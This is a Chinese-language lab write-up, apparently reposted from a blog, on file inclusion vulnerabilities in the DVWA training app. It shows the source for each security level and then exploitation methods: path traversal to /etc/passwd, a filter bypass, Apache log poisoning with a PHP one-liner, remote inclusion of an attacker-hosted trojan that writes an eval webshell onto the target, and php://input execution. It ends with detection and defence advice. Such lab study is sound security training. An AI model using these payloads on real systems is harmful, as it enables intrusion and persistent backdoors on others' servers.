2. DVWA親測文件包含漏洞


Low級:

 
 
我們分別點擊這幾個file.php文件
 

 

 

 

僅僅是配置參數的變化:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php
如果我們隨便寫一個不存在的php文件,比如 :
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=text.php

 

還爆出了路徑錯誤
 

我們先來分析原始內容:
 
再來分析我們構造好的網址:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini
 
果然可以訪問到正常的內容
 
我們再來嘗試:

 

 
這表明了文件包含不僅僅能讀文件,還能執行文件
 
當然,我們不能滿足於此,我們甚至可以嘗試從本地包含文件
 
我們在本地www目錄下新建1.php   ————>  寫入<?php phpinfo();?>
 
我們輸入網址:
 
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.txt

果然,外部包含文件成功,這樣的話我們可以在1.php代碼中寫入惡意代碼,拿到服務器的webshell

Medium級:

我們先來看源代碼:
<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = str_replace( array( "http://", "https://" ), "", $file ); $file = str_replace( array( "../", "..\"" ), "", $file ); ?>
 
 
 
 
 

就是將輸入的url參數中包含的“http://”、“https://”,   ". . /"   ,   ". . \""等字符串替換成空的字符串,
即過濾了遠程文件包含, 對於本地文件包含並沒有任何過濾:
 
本地包含:
 
遠程包含:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=httphttp://://127.0.0.1/1.txt

 

High級:

源代碼:
<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want!
    echo "ERROR: File not found!"; exit; } ?>
 

 

我們輸入:
 

 

 

Impossible級:

源代碼:
<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want!
    echo "ERROR: File not found!"; exit; } ?>
源碼只允許四個文件名,有效的防止了文件的包含漏洞
 
 

利用:

1、讀取敏感文件:

如直接../../../../../etc/passwd來讀取本地文件內容,其他敏感文件的讀取是類似的,前提是知道路徑。

2、包含Apache日志文件:

可以用nc向目標服務器發送一條內容為一句話木馬的錯誤的指令,讓其保存在目標服務器的access.log日志文件中,再通過本地文件包含的方式實現利用。但是測試時沒有成功,因為MySQL用戶權限不足,不能讀取Apache的日志,這時需要提權操作。
這里簡便地演示一下,就直接修改文件夾屬主,先到/var/log目錄下,然后輸入命令:chown www-data:www-data apache2 -R
接着以向日志文件寫入phpinfo為示例,注意一點是,不能直接在URL欄填寫,因為一些字符會被URL編碼而不能達到目的,要使用Burpsuite截斷代理修改數據包來進行:
然后到Metasploitable2的Apache2的access.log文件中查看:

確實是存在於日志文件中了。

最后直接包含該access.log文件即可:

3、遠程包含shell

以Medium級為背景,在一台攻擊者的服務器如Kali的/var/www/html/目錄中放入一句話木馬文件,在Kali中通過以下命令啟動Apache

service apache2 start  

然后在訪問DVWA中利用遠程文件包含漏洞訪問Kali中的木馬文件,從而實現利用。
這里注意的是,這個木馬文件的內容不能為形如<?php echo shell_exec($_GET['cmd']);?>這種,因為這樣只會在該木馬文件存放的服務器服務器上執行而不是在目標服務器上執行,如下示例,a.php文件內容如上,但是返回的內容確實Windows服務器的而不是目標主機Metasploitable2的:
因而正確的姿勢應該是,該木馬文件實現將木馬內容寫入目標服務器中的1.txt文件,如:
<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST[aaa]);?>");?>
訪問:
沒有啥情況,接着到DVWA服務器查看吧:
存在后門PHP文件,沒有問題。
這里示例以phpinfo測試:

4、配合文件上傳漏洞:

和文件上傳漏洞或者SQL注入漏洞等一同利用,通過利用前面的漏洞將一句話木馬1.php文件上傳到Web服務器中,然后再通過文件包含漏洞包含出現從而得到shell。
例如上傳了一個名為1.txt的文件,內容為:<?php phpinfo();?>
直接包含該文件會將該文件以PHP來運行:

5、使用PHP封裝協議讀取文件和寫入PHP文件:

1、讀取文件:

訪問,可以看到顯示了base64編碼的內容:
使用Burpsuite的Decode模塊解碼:
可以發現就是之前上傳的示例文件內容。

2、寫入PHP文件:

前提條件是allow_url_include為on,則構造如下URL:192.168.220.128/dvwa/vulnerabilities/fi/?page=php://input
然后再POST需要輸入的內容即可,這里通過Firefox的HackBar來POST數據:
可以看到輸入的內容執行並返回了結果。

檢測方法:

找到有包含函數的頁面,對函數內容進行替換查看結果;
可以使用工具來代替手工的過程,如Kadimus、Burpsuite的插件LFI scanner checks等;
白盒測試時,可以在源代碼中查看allow_url_fopen、allow_url_include等敏感函數是否開啟。

防御方法:

1、嚴格判斷包含中的參數是否外部可控。
2、路徑限制,限制被包含的文件只能在某一個文件夾內,特別是一定要禁止目錄跳轉字符,如:“../”。
3、基於白名單的包含文件驗證,驗證被包含的文件是否在白名單中。
4、盡量不要使用動態包含,可以在需要包含的頁面固定寫好,如:“include("head.php")”。
5、可以通過調用str_replace()函數實現相關敏感字符的過濾,一定程度上防御了遠程文
 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM